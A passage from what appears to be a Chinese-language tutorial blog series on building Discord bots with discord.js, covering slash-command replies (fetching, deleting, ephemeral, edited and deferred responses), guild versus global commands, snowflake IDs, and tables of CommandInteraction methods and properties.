'https://media.discordapp.net/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n height: 768,\n width: 1366,\n contentType: 'image/png',\n description: null,\n ephemeral: true\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e还是 \u003ccode\u003ecommands/multiOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e我们输入:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712151051919-1157319136.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ea1b2c3d4 null true null null null null null 9 null\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e结语\u003c/h3\u003e\n\u003cp\u003eOptions 和 Choices 作为斜杠命令参数很强大。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-6/"},{"title":"Bot in Discord with discord.js (5)","time":"2022-07-12T00:00:00Z","content":"\u003ch2\u003eChapter 6 - 交互:对斜杠命令回复的那些事儿(2)\u003c/h2\u003e\n\u003cp\u003e本章是 Chapter 5 的续集。\u003c/p\u003e\n\u003ch3\u003e抓取响应 Fetching responses\u003c/h3\u003e\n\u003cp\u003e除了对斜杠命令进行回复外,我们还可以抓取这个回复,比如用于给这个回复添加表情回复(reactions)。\u003c/p\u003e\n\u003cp\u003e靠这个:\u003ccode\u003eCommandInteraction#fetchReply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e来个例子,\u003ccode\u003ecommands/pingFetch.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping7')\n\t\t.setDescription('Replies with Pong, and fetch!'),\n\tasync execute(interaction) {\n\t await interaction.reply(\"Pong!\");\n\t\tconst message = await interaction.fetchReply();\n\t\tconsole.log(message); // 控制台输出抓取的消息对象本身\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;ref *1\u0026gt; Message {\n channelId: '---隐私打码---',\n guildId: '---隐私打码---',\n id: '---隐私打码---',\n createdTimestamp: xxxxxxxxxx021,\n type: 'APPLICATION_COMMAND',\n system: false,\n content: 'Pong!',\n author: ClientUser {\n id: '---隐私打码---',\n bot: true,\n system: false,\n flags: UserFlags { bitfield: 0 },\n username: 'BlogTest',\n discriminator: '---隐私打码---',\n avatar: null,\n banner: undefined,\n accentColor: undefined,\n verified: true,\n mfaEnabled: false\n },\n pinned: false,\n tts: false,\n nonce: null,\n embeds: [],\n components: [],\n attachments: Collection(0) [Map] {},\n stickers: Collection(0) [Map] {},\n editedTimestamp: null,\n reactions: ReactionManager { message: [Circular *1] },\n mentions: MessageMentions {\n everyone: false,\n users: Collection(0) [Map] {},\n roles: Collection(0) [Map] {},\n _members: null,\n _channels: null,\n crosspostedChannels: Collection(0) [Map] {},\n repliedUser: null\n },\n webhookId: '---隐私打码---',\n groupActivityApplication: null,\n applicationId: '---隐私打码---',\n activity: null,\n flags: MessageFlags { bitfield: 0 },\n reference: null,\n interaction: {\n id: '---隐私打码---',\n type: 'APPLICATION_COMMAND',\n commandName: 'ping7',\n user: User {\n id: '---隐私打码---',\n bot: false,\n system: false,\n flags: [UserFlags],\n username: '---隐私打码---',\n discriminator: '---隐私打码---',\n avatar: '---隐私打码---',\n banner: undefined,\n accentColor: undefined\n }\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这里返回的 json 信息很丰富,从命令发起者到机器人自己的信息,都包括了。\u003c/p\u003e\n\u003ch3\u003e删除响应 Deleting responses\u003c/h3\u003e\n\u003cp\u003e靠这个 \u003ccode\u003eCommandInteraction#deleteReply()\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e注意:你不能删除一个“短暂回复”(Ephemeral response)。\u003c/p\u003e\n\u003cp\u003e比如:\u003ccode\u003ecommands/pingDelete.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t\tawait wait(1000);\n\t await interaction.deleteReply();\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e它会在回复 \u003ccode\u003ePong!\u003c/code\u003e 1 秒后,删除这条回复。\u003c/p\u003e\n\u003ch3\u003e服务器命令 Guild commands\u003c/h3\u003e\n\u003cp\u003e如果您的应用程序具有 applications.commands 的 scope 授权(我们在 Chapter 1 生成机器人时,已经选定过这个 scpoe 了),则服务器应用程序命令仅在创建它们的服务器中可用。\u003c/p\u003e\n\u003cp\u003e我们在 Chapter 2 中所注册的斜杠命令(ping.js)和斜杠命令部署器(deploy_commands.js)都是围绕服务器命令展开的。\u003c/p\u003e\n\u003ch3\u003e全局命令 Global commands\u003c/h3\u003e\n\u003cp\u003e全局应用程序命令将在您的应用程序具有 applications.commands 的 scpoe 授权(我们在 Chapter 1 生成机器人时,已经选定过这个 scpoe 了)的所有服务器以及 DM(私聊) 中可用。\u003c/p\u003e\n\u003cp\u003e要部署全局命令,您可以使用服务器命令部分中的相同脚本并将脚本中的路由调整为\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n// 利用 .applicationCommands 注册全局命令\nrest.put(Routes.applicationCommands(clientId),{ body: commands },)\n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n \n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e补充:snowflake 类型\u003c/h3\u003e\n\u003cp\u003eSnowflake 类型源自推特(Twitter)公司。Snowflake 是 64 位无符号整数,具有全局唯一性,基于时间生成,而不是按顺序生成。\u003c/p\u003e\n\u003cp\u003e在 Javascript 中,整数最大只有 53 位,因此在 JavaScript 中,我们一般选用字符串来存储 snowflake 值。\u003c/p\u003e\n\u003cp\u003e在 Discord 中,假设我们有一个 Snowflake l类型的值 ‘266241948824764416’,它会被这样解读:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e64 22 17 12 0\n 000000111011000111100001101001000101000000 00001 00000 000000000000\n number of milliseconds since Discord epoch worker pid increment\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e63 代表最高位,0代表最低位。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e项目\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003cth\u003e位\u003c/th\u003e\n\u003cth\u003e位的个数\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003cth\u003e提取方法\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTimestamp\u003c/td\u003e\n\u003ctd\u003e时间戳,单位毫秒\u003c/td\u003e\n\u003ctd\u003e63 to 22\u003c/td\u003e\n\u003ctd\u003e42 bits\u003c/td\u003e\n\u003ctd\u003e自 Discord Epoch 以来的毫秒数,即 2015 年的第一毫秒(即 UNIX 时间戳 1420070400000 所对应的那一毫秒)\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026gt;\u0026gt; 22) + 1420070400000\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInternal worker ID\u003c/td\u003e\n\u003ctd\u003eDiscord 集群编号\u003c/td\u003e\n\u003ctd\u003e21 to 17\u003c/td\u003e\n\u003ctd\u003e5 bits\u003c/td\u003e\n\u003ctd\u003e无需理会\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026amp; 0x3E0000) \u0026gt;\u0026gt; 17\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInternal process ID\u003c/td\u003e\n\u003ctd\u003e集群内部进程编号\u003c/td\u003e\n\u003ctd\u003e16 to 12\u003c/td\u003e\n\u003ctd\u003e5 bits\u003c/td\u003e\n\u003ctd\u003e无需理会\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026amp; 0x1F000) \u0026gt;\u0026gt; 12\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eIncrement\u003c/td\u003e\n\u003ctd\u003e这 1 毫秒内,条目的增量\u003c/td\u003e\n\u003ctd\u003e11 to 0\u003c/td\u003e\n\u003ctd\u003e12 bits\u003c/td\u003e\n\u003ctd\u003e对于在该进程上生成的每个 ID,此数字都会递增\u003c/td\u003e\n\u003ctd\u003esnowflake \u0026amp; 0xFFF\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003eCommandInteraction 类\u003c/h3\u003e\n\u003cp\u003e表示命令交互。\u003c/p\u003e\n\u003cp\u003e来自文档 https://discord.js.org/#/docs/discord.js/main/class/CommandInteraction\u003c/p\u003e\n\u003ch4\u003e类方法\u003c/h4\u003e\n\u003cp\u003e我们在上面谈到的许多方法,都是来自于 \u003ccode\u003eCommandInteraction\u003c/code\u003e 类,这个类拓展自 \u003ccode\u003eBaseInteraction\u003c/code\u003e 类。\u003c/p\u003e\n\u003cp\u003e我们已经见过了 \u003ccode\u003e.deferReply()\u003c/code\u003e 、\u003ccode\u003e.deleteReply()\u003c/code\u003e 、\u003ccode\u003e.editReply()\u003c/code\u003e 、\u003ccode\u003e.fetchReply()\u003c/code\u003e 、\u003ccode\u003e.followUp()\u003c/code\u003e 、\u003ccode\u003e.reply()\u003c/code\u003e,不再赘述。\u003c/p\u003e\n\u003cp\u003e下面来看 \u003ccode\u003eCommandInteraction\u003c/code\u003e 类自己非继承来的方法:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e有参数吗\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.awaitModalSubmit()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; ModalSubmitInteraction \u0026gt;\u003c/td\u003e\n\u003ctd\u003e收集通过过滤器的单个模态提交交互。 如果时间到期,Promise 将拒绝\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deferReply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; (Message or InteractionResponse) \u0026gt;\u003c/td\u003e\n\u003ctd\u003e推迟对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deleteReply()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; void \u0026gt;\u003c/td\u003e\n\u003ctd\u003e删除对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.editReply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e编辑对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.fetchReply()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e获取对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.followUp()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e向此交互发送后续消息\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.reply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; (Message or InteractionResponse) \u0026gt;\u003c/td\u003e\n\u003ctd\u003e创建对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.showModel()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003evoid\u003c/td\u003e\n\u003ctd\u003e显示模态组件\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下方法来自父类 \u003ccode\u003eBaseInteraction\u003c/code\u003e:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e有参数吗\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inCachedGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否同时被缓存并从服务器接收\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否来自服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inRawGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否来自未缓存的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isButton()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ButtonInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isChatInputCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ChatInputCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isMessageContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 MessageContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isRepliable()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示是否可以回复此交互\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isSelectMenu()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 SelectMenuInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isUserContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 UserContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4\u003e类属性\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.applicationId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e应用程序的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.appPermissions\u003c/td\u003e\n\u003ctd\u003e\u0026lt; PermissionsBitField \u0026gt;\u003c/td\u003e\n\u003ctd\u003e应用程序或机器人在发送交互的频道内拥有的权限集\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channel\u003c/td\u003e\n\u003ctd\u003eTextBasedChannels\u003c/td\u003e\n\u003ctd\u003e发送此交互的频道\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channelId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e发送此交互的频道的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.client\u003c/td\u003e\n\u003ctd\u003eClient\u003c/td\u003e\n\u003ctd\u003e实例化这个交互的客户端\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.command\u003c/td\u003e\n\u003ctd\u003eApplicationCommand\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令(如果之前已获取)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandGuildId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令注册到的服务器 id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的 id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandName\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandType\u003c/td\u003e\n\u003ctd\u003eApplicationCommandType\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.createdAt\u003c/td\u003e\n\u003ctd\u003eDate\u003c/td\u003e\n\u003ctd\u003e创建交互的时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.createdTimestamp\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e创建交互的时间戳\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deferred\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e是否已推迟对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.ephemeral\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e对此交互的回复是否是短暂的\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guild\u003c/td\u003e\n\u003ctd\u003eGuild\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guildId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guildLocale\u003c/td\u003e\n\u003ctd\u003eLocale\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器的首选语言环境\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.id\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e交互的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.locale\u003c/td\u003e\n\u003ctd\u003eLocale\u003c/td\u003e\n\u003ctd\u003e调用此交互的用户的语言环境\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.member\u003c/td\u003e\n\u003ctd\u003eGuildMember or APIGuildMember\u003c/td\u003e\n\u003ctd\u003e如果此交互是在公会中发送的,发送它的成员\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.memberPermissions\u003c/td\u003e\n\u003ctd\u003ePermissionsBitField\u003c/td\u003e\n\u003ctd\u003e执行此交互的通道中成员的权限(如果存在)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.replied\u003c/td\u003e\n\u003ctd\u003eGuild\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.token\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e交互的令牌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.type\u003c/td\u003e\n\u003ctd\u003eInteractionType\u003c/td\u003e\n\u003ctd\u003e交互的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.user\u003c/td\u003e\n\u003ctd\u003eUser\u003c/td\u003e\n\u003ctd\u003e发送此交互的用户\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.version\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e版本\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.webhook\u003c/td\u003e\n\u003ctd\u003eInteractionWebhook\u003c/td\u003e\n\u003ctd\u003e关联的交互 webhook,可用于进一步与此交互进行交互\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e很多我们都用不上,当然很多能节约我们的敲代码的时间。要学会在不断地尝试中学习,学会在错误中吸取经验。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-5/"},{"title":"Bot in Discord with discord.js (4)","time":"2022-07-11T00:00:00Z","content":"\u003ch2\u003eChapter 5 - 交互:对斜杠命令回复的那些事儿(1)\u003c/h2\u003e\n\u003cp\u003e斜杠命令是交互的一种。\u003c/p\u003e\n\u003cp\u003e我们在 Chapter 2 的 \u003ccode\u003ecommands/ping.js\u003c/code\u003e 里已经完成了一项斜杠命令的建立:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e代码建立了一项命令: \u003ccode\u003e/ping\u003c/code\u003e,作用是回复:\u003ccode\u003ePong!\u003c/code\u003e。具体的解释已在 Chapter 4 中完成,不再赘述。\u003c/p\u003e\n\u003cp\u003eDiscord 为开发人员提供了创建客户端集成斜杠命令的选项。 在本章中,我们将介绍如何使用 discord.js 响应这些命令。下面我们来看看如何把回复玩出花来。\u003c/p\u003e\n\u003ch3\u003e注册斜杠命令\u003c/h3\u003e\n\u003cp\u003e你至少需要在你的应用程序上注册一个斜杠命令才能继续往下走(如果你是跟着我的文章来的,那么你肯定注册过至少一项命令了)。注册斜杠命令在前文章节已说明过,不再赘述。\u003c/p\u003e\n\u003ch3\u003e接收斜杠命令\u003c/h3\u003e\n\u003cp\u003e接收斜杠命令交互在前文章节已说明过,不再赘述。(如果你是跟着我的文章来的,那么你的机器人肯定可以接收斜杠命令了)。\u003c/p\u003e\n\u003ch3\u003e回复斜杠命令\u003c/h3\u003e\n\u003cp\u003ediscord.js 提供了不止一种回复命令的方法。最常见的方法是 \u003ccode\u003eCommandInteraction#reply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e需要说明的是,一次 Discord 交互(interaction)的 token 有效期为 3 秒。因此,你需要在 3 秒内完成对斜杠命令的回复,否则按咱们的代码设计,机器人将报错。至于如何延长这个时间,后面会讲到。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/ping.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t // 这里回复了斜杠命令\n\t\tawait interaction.reply(\"Pong!\");\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行这个斜杠命令,这里的回复应该是:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125819594-935091856.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e短暂响应 Ephemeral responses\u003c/h3\u003e\n\u003cp\u003e我不知道把 Ephemeral responses 翻译成“短暂回复”是否合适,字面意思的确是“短暂的回复”,不过,翻译成“临时回复”,也许更好。\u003c/p\u003e\n\u003cp\u003e短暂消息 / 临时消息(Ephemeral messages)是 Discord 机器人无需向用户发送 DM(私聊) 即可向用户发送私人消息的一种新方式。\u003c/p\u003e\n\u003cp\u003e这是一条只有命令发起者(用户自己)和机器人自己才可以看到的消息。 当用户选择无视(dismiss)它们、等待足够长的时间或重新启动 Discord 时,这些消息会消失。\u003c/p\u003e\n\u003cp\u003e短暂回复是回复的属性,给回复加上 \u003ccode\u003eephemeral: true\u003c/code\u003e 属性,即可完成设置。\u003c/p\u003e\n\u003cp\u003e比如我们来个 \u003ccode\u003ecommands/pingEphemeral.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping2')\n\t\t.setDescription('Replies with Pong, but ephemerally!'),\n\tasync execute(interaction) {\n\t // 这里回复了斜杠命令,是个短暂回复\n\t\tawait interaction.reply({\n\t\t content: \"Pong!\",\n\t\t ephemeral: true,\n\t\t});\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行效果是这样的:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711165330459-644492374.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这里我们的 \u003ccode\u003eephemeral\u003c/code\u003e 是 interaction.reply 的属性。interaction.reply 来自自己的一共有三个属性,我们会介绍到其他两个的。 interaction.reply 具有多种类型,具体是 content、nonce、embeds、components、attachments、files、tts 和 allowedMentions。这八个都是可选的,以后我们会介绍的。\u003c/p\u003e\n\u003ch3\u003e修改响应 Editing responses\u003c/h3\u003e\n\u003cp\u003e发送初始响应后,您可能出于各种原因想要编辑该响应(前提是交互令牌(interaction token)未过期失效)。\u003c/p\u003e\n\u003cp\u003e在初始响应之后,交互令牌的有效期为 15 分钟,因此这是您可以编辑响应和发送后续消息的时间范围。\u003c/p\u003e\n\u003cp\u003e修改响应回复可以通过 \u003ccode\u003eCommandInteraction#editReply()\u003c/code\u003e 方法来实现:\u003c/p\u003e\n\u003cp\u003e比如来个 \u003ccode\u003ecommands/pingEditing.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout; // 别忘了!!!\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping3')\n\t\t.setDescription('Replies with Pong, but will be edited.'),\n \n\tasync execute(interaction) {\n\n // 先来个回复,作为初始回复\n\t\tawait interaction.reply(\"Pong!\");\n\n // 利用 wait 等待 2000 毫秒,即 2 秒\n\t\tawait wait(2000);\n\n // 修改回复成新的字符串\n\t\tawait interaction.editReply('Pong again!');\n\t\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意我们用到了 \u003ccode\u003enode:times/promises\u003c/code\u003e 记为 wait,作为我们的延迟函数。所以第二行需要导包。\u003c/p\u003e\n\u003cp\u003e别忘了 wait 是在 async 里的,要达到故意延时的目的,需要 await。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172138742-1265191722.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172147641-1873380108.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e延迟响应 Deferred responses\u003c/h3\u003e\n\u003cp\u003e如前所述,在交互令牌(interaction token)变为无效之前,你有 3 秒钟的时间来响应交互。 